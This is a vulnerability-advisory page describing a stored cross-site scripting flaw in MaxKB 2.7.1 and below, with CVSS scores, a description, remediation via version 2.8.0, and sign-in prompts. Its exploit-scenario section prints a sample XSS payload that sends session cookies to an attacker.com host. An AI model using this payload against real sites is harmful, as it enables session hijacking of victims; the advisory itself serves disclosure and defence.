EUVD-2026-22182Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
7DescriptionGitHub Advisory
MaxKB is an open-source AI assistant for enterprise. Versions 2.7.1 and below contain a Stored Cross-Site Scripting (XSS) vulnerability through the application name or icon fields when creating an application. When a victim visits the public chat interface (/ui/chat/{access_token}), the ChatHeadersMiddleware retrieves the application data and directly inserts the unescaped application name and icon into the HTML response via string replacement. This allows an attacker to execute arbitrary JavaScript in the victim's browser context. This issue has been fixed in version 2.8.0.
AnalysisAI
Stored Cross-Site Scripting (XSS) in MaxKB 2.7.1 and below allows authenticated users to inject malicious JavaScript through application name or icon fields, which is then executed in victims' browsers when accessing the public chat interface. The vulnerability stems from unsanitized data insertion into HTML responses by ChatHeadersMiddleware, enabling arbitrary code execution with user interaction. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Risk Assessment | CVSS 6.9 (Medium-High) with vector showing network-accessible attack (AV:N), low complexity (AC:L), requiring low privilege (PR:L), and user interaction (UI:P), resulting in high integrity impact (VI:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with MaxKB user credentials creates a new application, inserting a payload like <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> into the application name field. When a colleague or customer clicks a public chat link for that application, their browser loads the chat interface, the middleware renders the unescaped application name in the HTML header, and the onerror handler fires, exfiltrating session cookies to the attacker's server. … |
| Remediation | Vendor-released patch: MaxKB 2.8.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today